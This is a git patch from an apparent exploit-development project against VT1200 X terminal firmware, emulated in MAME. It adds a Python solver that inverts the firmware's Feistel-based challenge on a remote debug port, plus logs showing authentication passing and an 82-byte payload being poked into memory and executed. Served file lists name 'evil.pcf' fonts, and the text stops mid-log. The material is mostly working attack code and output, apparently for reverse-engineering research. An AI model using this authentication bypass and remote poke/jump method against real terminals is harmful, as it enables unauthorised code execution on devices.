From 1e5c095b72bffc8b413d48abcfedaff04698a1ab Mon Sep 17 00:00:00 2001 From: SDD Date: Sun, 18 Oct 2026 02:36:23 +0300 Subject: [PATCH] dwt: reverse the dwt_prf challenge; remote poke/jump now works The firmware transforms the reply (16-round Feistel per 8-byte record) and compares it with the host-order copy of the challenge, so the answer is swap4(inverse_transform(swap4(challenge))). The font stages are memcpy in this path because dwt_prf initialises only mode 1. challenge.py implements the transform and its inverse using the firmware's fixed key/SP table; solve.py answers the challenge over TCP using the unmodified exploit client. 320 forward vectors, the firmware's own inverse and three live sessions validate it. A live run with no breakpoints poked the 82-byte hello-world payload and ran it: MAGIC DEAD/BEEF/0400, VRAM 1024/1024. Notes and evidence under dwt/notes and dwt/evidence. --- dwt/challenge.py | 225 +++++++++++++++++++ dwt/evidence/VALIDATION.txt | 17 ++ dwt/evidence/live-run/cfg/default.cfg | 14 ++ dwt/evidence/live-run/cfg/vt1200.cfg | 12 + dwt/evidence/live-run/debug-challenge.log | 25 +++ dwt/evidence/live-run/debug-live.log | 43 ++++ dwt/evidence/live-run/mame.log | 28 +++ dwt/evidence/live-run/serve.log | 4 + dwt/evidence/live-run2/cfg/default.cfg | 14 ++ dwt/evidence/live-run2/cfg/vt1200.cfg | 12 + dwt/evidence/live-run2/client.log | 7 + dwt/evidence/live-run2/mame.log | 17 ++ dwt/evidence/live-run2/serve.log | 4 + dwt/evidence/oracle-forward-boot1.log | 91 ++++++++ dwt/evidence/oracle-forward-boot2.log | 91 ++++++++ dwt/evidence/oracle-inverse.log | 27 +++ dwt/evidence/scripts/live_check.lua | 53 +++++ dwt/evidence/scripts/live_verify.lua | 72 ++++++ dwt/evidence/scripts/oracle_call.lua | 197 ++++++++++++++++ dwt/notes/CHALLENGE_REVERSE.md | 260 ++++++++++++++++++++++ dwt/notes/CROSS.md | 37 +++ dwt/solve.py | 101 +++++++++ 22 files changed, 1351 insertions(+) create mode 100644 dwt/challenge.py create mode 100644 dwt/evidence/VALIDATION.txt create mode 100644 dwt/evidence/live-run/cfg/default.cfg create mode 100644 dwt/evidence/live-run/cfg/vt1200.cfg create mode 100644 dwt/evidence/live-run/debug-challenge.log create mode 100644 dwt/evidence/live-run/debug-live.log create mode 100644 dwt/evidence/live-run/mame.log create mode 100644 dwt/evidence/live-run/serve.log create mode 100644 dwt/evidence/live-run2/cfg/default.cfg create mode 100644 dwt/evidence/live-run2/cfg/vt1200.cfg create mode 100644 dwt/evidence/live-run2/client.log create mode 100644 dwt/evidence/live-run2/mame.log create mode 100644 dwt/evidence/live-run2/serve.log create mode 100644 dwt/evidence/oracle-forward-boot1.log create mode 100644 dwt/evidence/oracle-forward-boot2.log create mode 100644 dwt/evidence/oracle-inverse.log create mode 100644 dwt/evidence/scripts/live_check.lua create mode 100644 dwt/evidence/scripts/live_verify.lua create mode 100644 dwt/evidence/scripts/oracle_call.lua create mode 100644 dwt/notes/CHALLENGE_REVERSE.md create mode 100644 dwt/solve.py diff --git a/dwt/challenge.py b/dwt/challenge.py new file mode 100644 index 0000000..5442efb --- /dev/null +++ b/dwt/challenge.py @@ -0,0 +1,225 @@ +#!/usr/bin/env python3 +"""Answer the VT1200 ``dwt_prf`` TCP challenge (port 771) offline. + +The firmware sends 16 bytes with message flag 0x7F, reads 16 bytes back, and +compares them. It does **not** compare our reply with the challenge directly: + + recv(session, frame+0x10, 16) ; our reply + ntohl() each of the four words ; +0x10..+0x1f becomes swap4(reply) + transform(frame+0x10, 16) ; 0x3F5A09C0, in place + memcmp(frame+0x20, frame+0x10, 16) ; frame+0x20 = host copy of challenge + +so the reply the host must send is ``swap4(inverse_T(swap4(challenge)))``. +``transform`` is a bijection: a 16-round Feistel over each independent 8-byte +record, so the inverse exists and is the same round function run backwards. +(The firmware itself contains the inverse at 0x3F5AADA0; its output matched +this module on every test vector.) + +Evidence and disassembly: dwt/notes/CHALLENGE_REVERSE.md. +Pure stdlib; key and SP table are the firmware's own fixed values, captured +from the firmware's initialiser (they are identical on every boot and on a +live challenge - see the note). + + python3 dwt/challenge.py --challenge f32cec8d0000ead00263a8c0f324ec8e + python3 dwt/challenge.py --selftest +""" + +from __future__ import annotations + +import argparse +import sys + +# --- Firmware constants --------------------------------------------------- +# 8 round keys of 8 bytes used by the 16-round Feistel (key[15] first) and the +# 8 x 64-entry SP tables (256 bytes each), both produced by the firmware's own +# initialiser 0x3F5A9620(1) + 0x3F5AA2C0(0x1BE810). They are load-independent: +# two fresh-NVRAM boots and a live TCP challenge gave identical bytes. +KEY = bytes.fromhex("2C3E1F020130080D2D23281F080019120B333920171A00063227333C09041308370E1D18020B0107112D3C2B292C12203A3B250702003D030A1E3B0B272C00103B110B1C2010212E052D2B2C11092A10262725320410113D2B063D2D0239220030371C0D0006143512193F310A302204351F232B3004061323082E3E2D1A2400") +SP = bytes.fromhex("0082800000000000008000000282800002808000028200000200000000800000000200000082800002828000000200000202800002808000000080000200000002020000000280000002800000820000008200000080800000808000020280000280000002008000020080000280000000000000020200000282000000008000008000000282800002000000008080000082800000008000000080000002000002808000008000000082000002008000000200000200000002028000028200000282800002800000008080000202800002008000020200000282000000828000020200000002800000028000000000000280000000820000000000000280800010400840004000400040000010400800000008001000000010000840104000401000004010400840004008400000004000400040000008001000000010000840004008001000080010400040000000000000004000400000104008000000084010000800100000400000000000400800104000000040084000000840104000000000000010400800100008400000080010400040000008400040084000400000000008400040004010000000104008401040080010000000004000000000004010400000004008400000080010000040100008001040004010000040100008000040080000000000004000401040000000000040100008401040084000400800040100000001010400000000040001040001000400000000040101000001000404000100040000040400000400000100040101040400010000000104040100000000000404000000000101040001000000010100000001040400010404010100040100040001010000000100040100040400000004010104000100000000000400010104000000040400010004010000000001000001010400010004000000000001000004000100040101040001000404000004000100000000000004000104040100040000010000000004040101040400000004010100000101000400000400000104040100040401000000000104040101000400000004000104000101000010408040100080401000804000000040104000400040800000408000100080000000000010400000104000401040804000008000000000400040000000408000000080001000000000400000104080400000000000400000100080401000004000408000000080401000004000400000100000401040004010408040000080400040000000408000104000401040804000008000000000000000000010400040100000400040004000408000000080001040804010008040100080400000004010408040000080000000800010000000004080001000804010400040004080001000804010000000004000001040804000000000004000001000004010400080000000800004010000040180000021000004008000000000000020000004018000042000000400800000018000042080000021000004218000040000000020000000010000042000000420000000008000002080000421800004218000000100000421800000200000000000000021800004010000000100000021800004000000040080000021800000000000000100000020000004018000002180000420800000010000002000000421800004018000042080000000000000010000042180000421800004000000002180000421000004010000000000000420000000218000040080000001800000200000040000000000000004208000040180000020080000100000201000200000082020100000201008000000082020100000200000200010082020000000200008000010080020000020001000000010082000000000000008002000082000100020000000202000082000100800000008002010080020100000000008202000002020100820000000202000002020100000001000200010080000000800201000202000082020100000200008200000080000100000200000200010000000100820000008000010082020100020200000002010082020000020201000000000080020100800000000200000000020100820200000200000080020000820001000000000002020100000001008002000082000100000100001001002010400020000000000040000010400020104100000041002010410020000100000000000010000020100000000000002010010020104000000040002010410000100100000040002010000020000100200041002010010000000100200040000010400000104100200041000010000000000000200041000000000020004100000001000010400020104000201001002010010020100000001001000000000020004000200001000000410020104000001041000000410020104000001000002010410020000100200041000000000000100000001041002000000000104100000001002000400000100000200040002000400000100100020080008000800000000020020080208000000082008000820000000000000082000020000000208200802080008020000080208200802000008000020000000000002082000000800080008200800000008020020000200200002080008020820080000000000000000000020000208200000080008000820080200000002002008020000000200000802080008000020000000200002080008000020080200000800082000000020000008000002082000020800000008000002002008000800000000200802082000020020000008000002080008000820080008000000002008020800080200000802002008000020080000200002000000000800080208") + +assert len(KEY) == 128 and len(SP) == 8 * 256 + + +def _round(x: int, k: bytes) -> int: + """F(x, k): the firmware's round function 0x3F5ACEC0 (Ghidra 0x07EB59D8). + + Eight 6-bit table indices formed from the 32-bit input and the 8-byte round + key; each selects a 32-bit word from its own 64-entry table; the eight words + are OR'd together. Indices, from the disassembly (a2 = rol32(x, 1)): + + i0 = key[7] ^ rol1(x) i4 = key[3] ^ (x >> 15) + i1 = key[6] ^ (x >> 3) i5 = key[2] ^ (x >> 19) + i2 = key[5] ^ (x >> 7) i6 = key[1] ^ (x >> 23) + i3 = key[4] ^ (x >> 11) i7 = key[0] ^ (x >> 27 | (x & 1) << 5) + + Table i8-i uses SP[(7-i)*256 + index*4 .. +4] (little-endian 32-bit word). + """ + x &= 0xFFFFFFFF + a2 = ((x << 1) | (x >> 31)) & 0xFFFFFFFF + idx = ( + (k[7] ^ a2) & 0x3F, + (k[6] ^ (x >> 3)) & 0x3F, + (k[5] ^ (x >> 7)) & 0x3F, + (k[4] ^ (x >> 11)) & 0x3F, + (k[3] ^ (x >> 15)) & 0x3F, + (k[2] ^ (x >> 19)) & 0x3F, + (k[1] ^ (x >> 23)) & 0x3F, + (k[0] ^ ((x >> 27) | ((x & 1) << 5))) & 0x3F, + ) + out = 0 + for i, ix in enumerate(idx): + o = (7 - i) * 0x100 + ix * 4 + out |= int.from_bytes(SP[o:o + 4], "little") + return out + + +def _forward_record(rec: bytes) -> bytes: + """One 8-byte record: 0x3F5ABA40 (Ghidra 0x07EB5748). + + The two 32-bit halves are read as big-endian values (the firmware's + ``bswap`` helper 0x3F5AE670 after a little-endian load), then 16 Feistel + rounds run with keys key[15], key[14], ..., key[0]: + + round 0: L ^= F(R, k15) round 1: R ^= F(L, k14) ... + + The result is written back big-endian as (R_final, L_final), because the + firmware stores the a9 half first. + """ + if len(rec) != 8: + raise ValueError("record must be 8 bytes") + left = int.from_bytes(rec[0:4], "big") + right = int.from_bytes(rec[4:8], "big") + for n in range(16): + k = KEY[(15 - n) * 8:(16 - n) * 8] + if n % 2 == 0: + left ^= _round(right, k) + else: + right ^= _round(left, k) + return right.to_bytes(4, "big") + left.to_bytes(4, "big") + + +def _inverse_record(rec: bytes) -> bytes: + """Inverse of _forward_record; matches firmware 0x3F5AADA0 exactly.""" + if len(rec) != 8: + raise ValueError("record must be 8 bytes") + left = int.from_bytes(rec[4:8], "big") + right = int.from_bytes(rec[0:4], "big") + for n in range(15, -1, -1): + k = KEY[(15 - n) * 8:(16 - n) * 8] + if n % 2 == 0: + left ^= _round(right, k) + else: + right ^= _round(left, k) + return left.to_bytes(4, "big") + right.to_bytes(4, "big") + + +def transform(data: bytes) -> bytes: + """Apply the firmware transform to a 16-byte memory buffer (in place there). + + Records are independent: bytes 0..7 and 8..15 are transformed separately. + """ + if len(data) != 16: + raise ValueError("transform takes exactly 16 bytes") + return _forward_record(data[0:8]) + _forward_record(data[8:16]) + + +def invert(data: bytes) -> bytes: + """Inverse of transform() on a 16-byte buffer.""" + if len(data) != 16: + raise ValueError("invert takes exactly 16 bytes") + return _inverse_record(data[0:8]) + _inverse_record(data[8:16]) + + +def swap4(data: bytes) -> bytes: + """Reverse the bytes of each 32-bit word (the firmware's ntohl on LE).""" + if len(data) % 4: + raise ValueError("length must be a multiple of 4") + return b"".join(data[i:i + 4][::-1] for i in range(0, len(data), 4)) + + +def respond(challenge: bytes) -> bytes: + """Return the 16 bytes to put on the wire for ``challenge`` (wire order). + + The firmware compares ``transform(swap4(reply))`` with ``swap4(challenge)``, + so the required reply is ``swap4(invert(swap4(challenge)))``. + """ + if len(challenge) != 16: + raise ValueError("challenge is 16 bytes") + return swap4(invert(swap4(challenge))) + + +def check_reply(challenge: bytes, reply: bytes) -> bool: + """Emulate the firmware side: True iff this reply passes the challenge.""" + return transform(swap4(reply)) == swap4(challenge) + + +# Known answers: (16-byte input to transform, 16-byte output), produced by +# calling 0x3F5A09C0 itself in MAME. See dwt/evidence/oracle-*.log. +_KATS = ( + ("00" * 16, "90DE09B472855817" "90DE09B472855817"), + ("FF" * 16, "6A81040BF2294479" "6A81040BF2294479"), +) + + +def selftest() -> int: + for inp, want in _KATS: + got = transform(bytes.fromhex(inp)).hex().upper() + if got != want: + print(f"FAIL transform({inp}) = {got}, want {want}") + return 1 + back = invert(bytes.fromhex(want)).hex().upper() + if back != inp: + print(f"FAIL invert({want}) = {back}, want {inp}") + return 1 + # round-trip on a spread of values + for v in range(256): + rec = v.to_bytes(4, "big") * 2 + if _inverse_record(_forward_record(rec)) != rec: + print(f"FAIL round-trip {v}") + return 1 + # a random challenge: the reply must satisfy the firmware's comparison + import os + for _ in range(1000): + c = os.urandom(16) + if not check_reply(c, respond(c)): + print("FAIL respond/check_reply") + return 1 + print("selftest OK: KATs, 256 round-trips, 1000 challenge/reply pairs") + return 0 + + +def main(argv=None) -> int: + ap = argparse.ArgumentParser(description="VT1200 dwt_prf challenge helper") + g = ap.add_mutually_exclusive_group() + g.add_argument("--challenge", metavar="HEX", + help="16-byte wire challenge; prints the reply to send") + g.add_argument("--transform", metavar="HEX", help="forward transform of 16 bytes") + g.add_argument("--invert", metavar="HEX", help="inverse transform of 16 bytes") + g.add_argument("--check", nargs=2, metavar=("CHALLENGE", "REPLY"), + help="emulate the firmware comparison") + g.add_argument("--selftest", action="store_true") + a = ap.parse_args(argv) + if a.selftest: + return selftest() + if not any((a.challenge, a.transform, a.invert, a.check)): + ap.print_help() + return 2 + try: + if a.challenge: + print(respond(bytes.fromhex(a.challenge)).hex()) + elif a.transform: + print(transform(bytes.fromhex(a.transform)).hex()) + elif a.invert: + print(invert(bytes.fromhex(a.invert)).hex()) + elif a.check: + ok = check_reply(bytes.fromhex(a.check[0]), bytes.fromhex(a.check[1])) + print("PASS" if ok else "FAIL") + return 0 if ok else 1 + except ValueError as e: + print(f"error: {e}", file=sys.stderr) + return 2 + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/dwt/evidence/VALIDATION.txt b/dwt/evidence/VALIDATION.txt new file mode 100644 index 0000000..2fa6140 --- /dev/null +++ b/dwt/evidence/VALIDATION.txt @@ -0,0 +1,17 @@ +Validation of dwt/challenge.py against emulator ground truth +================================================================ +dwt/evidence/oracle-forward-boot1.log: 70/70 16-byte vectors (each = 2 independent records) +dwt/evidence/oracle-forward-boot2.log: 70/70 16-byte vectors (each = 2 independent records) +fresh-boot key identical: True; SP table identical: True +key[0:16] = 2C3E1F020130080D2D23281F08001912 + +dwt/challenge_vectors.json: 180/180 vectors + +firmware inverse function 0x3F5AADA0 vs challenge.invert(): 6/6 + +live TCP challenges answered with computed bytes (dwt/evidence/live-run*/): + run 1 connection 1: memcmp a8=00000000, opcode 7 -> Done, peek ROM ok + run 1 connection 2: memcmp a8=00000000, poke+jump, MAGIC DEAD/BEEF/0400, VRAM 1024/1024 + run 2 (no breakpoints at all): opcode 7 + peek + poke + jump, markers identical + +TOTAL forward vectors matched: 140 (oracle) + 180 (json) = 320 diff --git a/dwt/evidence/live-run/cfg/default.cfg b/dwt/evidence/live-run/cfg/default.cfg new file mode 100644 index 0000000..e720963 --- /dev/null +++ b/dwt/evidence/live-run/cfg/default.cfg @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + diff --git a/dwt/evidence/live-run/cfg/vt1200.cfg b/dwt/evidence/live-run/cfg/vt1200.cfg new file mode 100644 index 0000000..b9e0e08 --- /dev/null +++ b/dwt/evidence/live-run/cfg/vt1200.cfg @@ -0,0 +1,12 @@ + + + + + + + + + + + + diff --git a/dwt/evidence/live-run/debug-challenge.log b/dwt/evidence/live-run/debug-challenge.log new file mode 100644 index 0000000..b4b01d9 --- /dev/null +++ b/dwt/evidence/live-run/debug-challenge.log @@ -0,0 +1,25 @@ +MAME debugger version 0.289 (mame0289-dirty) +Currently targeting vt1200 (VT1200 X terminal (v2.2 firmware)) +Breakpoint 1 set +Breakpoint 2 set +Breakpoint 3 set +Breakpoint 4 set +Breakpoint 5 set +Breakpoint 6 set +Breakpoint 7 set +Breakpoint 8 set +Breakpoint 9 set +LIVE2 accept_debug_conn entry pc=3F58AD60 + +LIVE2 dispatcher entry pc=3F59F320 + +LIVE2 dwt_prf challenge entry pc=3F59FDC0 + +LIVE2 challenge sent a13=007AE7B0 wire=3DB79CF3.8EB50000.C0A86302.3EB794F3 host=F39CB73D.0000B58E.0263A8C0.F394B73E + +LIVE2 pre-transform reply=71C08104.AF81012D.BE5884F7.634E8818 + +LIVE2 memcmp-args expecting=F39CB73D.0000B58E.0263A8C0.F394B73E got=F39CB73D.0000B58E.0263A8C0.F394B73E + +LIVE2 challenge memcmp a8=00000000 (0=equal) + diff --git a/dwt/evidence/live-run/debug-live.log b/dwt/evidence/live-run/debug-live.log new file mode 100644 index 0000000..027f46d --- /dev/null +++ b/dwt/evidence/live-run/debug-live.log @@ -0,0 +1,43 @@ +MAME debugger version 0.289 (mame0289-dirty) +Currently targeting vt1200 (VT1200 X terminal (v2.2 firmware)) +Breakpoint 1 set +Breakpoint 2 set +Breakpoint 3 set +Breakpoint 4 set +Breakpoint 5 set +Breakpoint 6 set +Breakpoint 7 set +Breakpoint 8 set +Breakpoint 9 set +LIVE2 accept_debug_conn entry pc=3F58AD60 + +LIVE2 dispatcher entry pc=3F59F320 + +LIVE2 dwt_prf challenge entry pc=3F59FDC0 + +LIVE2 challenge sent a13=007AE7B0 wire=3DB79CF3.8EB50000.C0A86302.3EB794F3 host=F39CB73D.0000B58E.0263A8C0.F394B73E + +LIVE2 pre-transform reply=71C08104.AF81012D.BE5884F7.634E8818 + +LIVE2 memcmp-args expecting=F39CB73D.0000B58E.0263A8C0.F394B73E got=F39CB73D.0000B58E.0263A8C0.F394B73E + +LIVE2 challenge memcmp a8=00000000 (0=equal) + +LIVE2 accept_debug_conn entry pc=3F58AD60 + +LIVE2 dispatcher entry pc=3F59F320 + +LIVE2 dwt_prf challenge entry pc=3F59FDC0 + +LIVE2 challenge sent a13=007AE7B0 wire=ECB9DDEA.25B70100.C0A86302.EDB9D5EA host=EADDB9EC.0001B725.0263A8C0.EAD5B9ED + +LIVE2 pre-transform reply=B5DE07BF.872DCB1A.323728E1.8B9B13E4 + +LIVE2 memcmp-args expecting=EADDB9EC.0001B725.0263A8C0.EAD5B9ED got=EADDB9EC.0001B725.0263A8C0.EAD5B9ED + +LIVE2 challenge memcmp a8=00000000 (0=equal) + +LIVE2 rdebug_poke entry pc=3F5A1B50 + +LIVE2 rdebug_jump entry pc=3F5A3890 + diff --git a/dwt/evidence/live-run/mame.log b/dwt/evidence/live-run/mame.log new file mode 100644 index 0000000..80dbf7b --- /dev/null +++ b/dwt/evidence/live-run/mame.log @@ -0,0 +1,28 @@ +Warning: -video none doesn't make much sense without -seconds_to_run +vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901 +vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901 +vt1200: scanline#1 line=1 enabled=1 +vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1 +LIVE2 armed read-only breakpoints +vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901 +vt1200: scanline#2 line=0 enabled=1 +vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901 +vt1200: scanline#3 line=1 enabled=1 +vt1200: scanline#4 line=2 enabled=1 +LIVE2 frame 500 word@0xAECD0=8070 field2..3=0 +LIVE2 frame 1000 word@0xAECD0=8070 field2..3=0 +LIVE2 frame 1500 word@0xAECD0=8070 field2..3=0 +LIVE2 frame 2000 word@0xAECD0=8070 field2..3=0 +LIVE2 frame 2500 word@0xAECD0=8070 field2..3=0 +LIVE2 frame 3000 word@0xAECD0=8070 field2..3=0 +LIVE2 frame 3500 word@0xAECD0=8070 field2..3=0 +LIVE2 frame 4000 word@0xAECD0=8070 field2..3=0 +LIVE2 frame 4500 word@0xAECD0=8070 field2..3=0 +LIVE2 frame 5000 word@0xAECD0=8070 field2..3=0 +LIVE2 frame 5500 word@0xAECD0=8070 field2..3=0 +LIVE2 frame 6000 word@0xAECD0=8070 field2..3=0 +LIVE2 frame 6500 word@0xAECD0=8070 field2..3=0 +LIVE2 payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400 +LIVE2 payload-ran: VRAM block 1024/1024 words FFFF, 0 holes +LIVE2 exiting at frame 6840 (payload seen at 6720) +Average speed: 280.89% (94 seconds) diff --git a/dwt/evidence/live-run/serve.log b/dwt/evidence/live-run/serve.log new file mode 100644 index 0000000..32b151e --- /dev/null +++ b/dwt/evidence/live-run/serve.log @@ -0,0 +1,4 @@ +serving 29 names on ('192.168.99.1', 69) + names: 69, 69/baseline.pcf, 69/evil.pcf, 69/fonts.dir, 69/v1200a.pcf, ROM, X11/baseline.pcf, X11/evil.pcf, X11/fonts.dir, X11/v1200a.pcf, baseline.pcf, evil.pcf, font, font/baseline.pcf, font/evil.pcf, font/fonts.dir, font/v1200a.pcf, fonts, fonts.dir, fonts/baseline.pcf, fonts/evil.pcf, fonts/fonts.dir, fonts/v1200a.pcf, misc/baseline.pcf, misc/evil.pcf, misc/fonts.dir, misc/v1200a.pcf, real.pcf, rom +bootp: L2 responder on tap-mess-1000-0: handing out 192.168.99.2, siaddr 192.168.99.1 (src mac c6:fc:cc:16:f5:66) +bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0) diff --git a/dwt/evidence/live-run2/cfg/default.cfg b/dwt/evidence/live-run2/cfg/default.cfg new file mode 100644 index 0000000..e720963 --- /dev/null +++ b/dwt/evidence/live-run2/cfg/default.cfg @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + diff --git a/dwt/evidence/live-run2/cfg/vt1200.cfg b/dwt/evidence/live-run2/cfg/vt1200.cfg new file mode 100644 index 0000000..b9e0e08 --- /dev/null +++ b/dwt/evidence/live-run2/cfg/vt1200.cfg @@ -0,0 +1,12 @@ + + + + + + + + + + + + diff --git a/dwt/evidence/live-run2/client.log b/dwt/evidence/live-run2/client.log new file mode 100644 index 0000000..2b65b97 --- /dev/null +++ b/dwt/evidence/live-run2/client.log @@ -0,0 +1,7 @@ +[+] challenge f7 b4 6c 6b 00 00 6b 3f 02 63 a8 c0 f7 ac 6c 6c +[+] reply 49 0a ad 58 f1 ea b2 5a 3d fe f0 ee 92 6b 0a 20 +[+] reply satisfies firmware comparison: True +opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') +peek 0x3f200000 (8) -> e9 7a e2 f5 aa aa 55 55 +poke-file harness/hello-world/payload.bin: 82 bytes at 0x01800000: ok +jump 0x01800000: sent diff --git a/dwt/evidence/live-run2/mame.log b/dwt/evidence/live-run2/mame.log new file mode 100644 index 0000000..4d77331 --- /dev/null +++ b/dwt/evidence/live-run2/mame.log @@ -0,0 +1,17 @@ +Warning: -video none doesn't make much sense without -seconds_to_run +vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901 +vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901 +vt1200: scanline#1 line=1 enabled=1 +vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1 +vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901 +vt1200: scanline#2 line=0 enabled=1 +vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901 +vt1200: scanline#3 line=1 enabled=1 +vt1200: scanline#4 line=2 enabled=1 +CHECK frame 500 MAGIC1=5555 MAGIC2=5555 COUNT=5555 +CHECK frame 1000 MAGIC1=5555 MAGIC2=5555 COUNT=5555 +CHECK frame 1500 MAGIC1=5555 MAGIC2=5555 COUNT=5555 +CHECK payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400 +CHECK payload-ran: VRAM block 1024/1024 words FFFF, 0 holes +CHECK exiting at frame 1850 (payload seen at 1730) +Average speed: 328.16% (25 seconds) diff --git a/dwt/evidence/live-run2/serve.log b/dwt/evidence/live-run2/serve.log new file mode 100644 index 0000000..a852ae6 --- /dev/null +++ b/dwt/evidence/live-run2/serve.log @@ -0,0 +1,4 @@ +serving 29 names on ('192.168.99.1', 69) + names: 69, 69/baseline.pcf, 69/evil.pcf, 69/fonts.dir, 69/v1200a.pcf, ROM, X11/baseline.pcf, X11/evil.pcf, X11/fonts.dir, X11/v1200a.pcf, baseline.pcf, evil.pcf, font, font/baseline.pcf, font/evil.pcf, font/fonts.dir, font/v1200a.pcf, fonts, fonts.dir, fonts/baseline.pcf, fonts/evil.pcf, fonts/fonts.dir, fonts/v1200a.pcf, misc/baseline.pcf, misc/evil.pcf, misc/fonts.dir, misc/v1200a.pcf, real.pcf, rom +bootp: L2 responder on tap-mess-1000-0: handing out 192.168.99.2, siaddr 192.168.99.1 (src mac c6:fc:cc:16:f5:66) +bootp: request from 08:00:2b:16:4b:5a xid=ee2284e6 -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0) diff --git a/dwt/evidence/oracle-forward-boot1.log b/dwt/evidence/oracle-forward-boot1.log new file mode 100644 index 0000000..bd60958 --- /dev/null +++ b/dwt/evidence/oracle-forward-boot1.log @@ -0,0 +1,91 @@ +Warning: -video none doesn't make much sense without -seconds_to_run +vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901 +vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901 +vt1200: scanline#1 line=1 enabled=1 +vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1 +vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901 +vt1200: scanline#2 line=0 enabled=1 +vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901 +vt1200: scanline#3 line=1 enabled=1 +vt1200: scanline#4 line=2 enabled=1 +ORACLE start frame=1000 p200=00000000 p400=00000000 +ORACLE init done @1C0200=0090C8D0 @1C0220=00000000 @1C0240=00000000 @1C0260=00910910 @1C0400=00000001 +ORACLE KP=00910910 FP=0090C8D0 +ORACLE KEY 2C3E1F020130080D2D23281F080019120B333920171A00063227333C09041308370E1D18020B0107112D3C2B292C12203A3B250702003D030A1E3B0B272C00103B110B1C2010212E052D2B2C11092A10262725320410113D2B063D2D0239220030371C0D0006143512193F310A302204351F232B3004061323082E3E2D1A2400 +ORACLE FTAB 0082800000000000008000000282800002808000028200000200000000800000000200000082800002828000000200000202800002808000000080000200000002020000000280000002800000820000008200000080800000808000020280000280000002008000020080000280000000000000020200000282000000008000008000000282800002000000008080000082800000008000000080000002000002808000008000000082000002008000000200000200000002028000028200000282800002800000008080000202800002008000020200000282000000828000020200000002800000028000000000000280000000820000000000000280800010400840004000400040000010400800000008001000000010000840104000401000004010400840004008400000004000400040000008001000000010000840004008001000080010400040000000000000004000400000104008000000084010000800100000400000000000400800104000000040084000000840104000000000000010400800100008400000080010400040000008400040084000400000000008400040004010000000104008401040080010000000004000000000004010400000004008400000080010000040100008001040004010000040100008000040080000000000004000401040000000000040100008401040084000400800040100000001010400000000040001040001000400000000040101000001000404000100040000040400000400000100040101040400010000000104040100000000000404000000000101040001000000010100000001040400010404010100040100040001010000000100040100040400000004010104000100000000000400010104000000040400010004010000000001000001010400010004000000000001000004000100040101040001000404000004000100000000000004000104040100040000010000000004040101040400000004010100000101000400000400000104040100040401000000000104040101000400000004000104000101000010408040100080401000804000000040104000400040800000408000100080000000000010400000104000401040804000008000000000400040000000408000000080001000000000400000104080400000000000400000100080401000004000408000000080401000004000400000100000401040004010408040000080400040000000408000104000401040804000008000000000000000000010400040100000400040004000408000000080001040804010008040100080400000004010408040000080000000800010000000004080001000804010400040004080001000804010000000004000001040804000000000004000001000004010400080000000800004010000040180000021000004008000000000000020000004018000042000000400800000018000042080000021000004218000040000000020000000010000042000000420000000008000002080000421800004218000000100000421800000200000000000000021800004010000000100000021800004000000040080000021800000000000000100000020000004018000002180000420800000010000002000000421800004018000042080000000000000010000042180000421800004000000002180000421000004010000000000000420000000218000040080000001800000200000040000000000000004208000040180000020080000100000201000200000082020100000201008000000082020100000200000200010082020000000200008000010080020000020001000000010082000000000000008002000082000100020000000202000082000100800000008002010080020100000000008202000002020100820000000202000002020100000001000200010080000000800201000202000082020100000200008200000080000100000200000200010000000100820000008000010082020100020200000002010082020000020201000000000080020100800000000200000000020100820200000200000080020000820001000000000002020100000001008002000082000100000100001001002010400020000000000040000010400020104100000041002010410020000100000000000010000020100000000000002010010020104000000040002010410000100100000040002010000020000100200041002010010000000100200040000010400000104100200041000010000000000000200041000000000020004100000001000010400020104000201001002010010020100000001001000000000020004000200001000000410020104000001041000000410020104000001000002010410020000100200041000000000000100000001041002000000000104100000001002000400000100000200040002000400000100100020080008000800000000020020080208000000082008000820000000000000082000020000000208200802080008020000080208200802000008000020000000000002082000000800080008200800000008020020000200200002080008020820080000000000000000000020000208200000080008000820080200000002002008020000000200000802080008000020000000200002080008000020080200000800082000000020000008000002082000020800000008000002002008000800000000200802082000020020000008000002080008000820080008000000002008020800080200000802002008000020080000200002000000000800080208 +ORACLE SEED 55F861C7E51311D4C800000000000000000000000000000000000000000000000000000000003A322A221A120A023C342C241C140C043E362E261E160E06403830282018100839312921191109013B332B231B130B033D352D251D150D053F372F271F170F07280830103818402027072F0F37173F1F26062E0E36163E1E2505 +ORACLE R1 39312921191109013A322A221A120A023B332B231B130B033C342C243F372F271F170F073E362E261E160E063D352D251D150D051C140C04 +ORACLE R2 01020406080A0C0E0F11131517191B1C0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D +ORACLE R3 0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D0F01080E060B03040907020D0C00050A +ORACLE R4 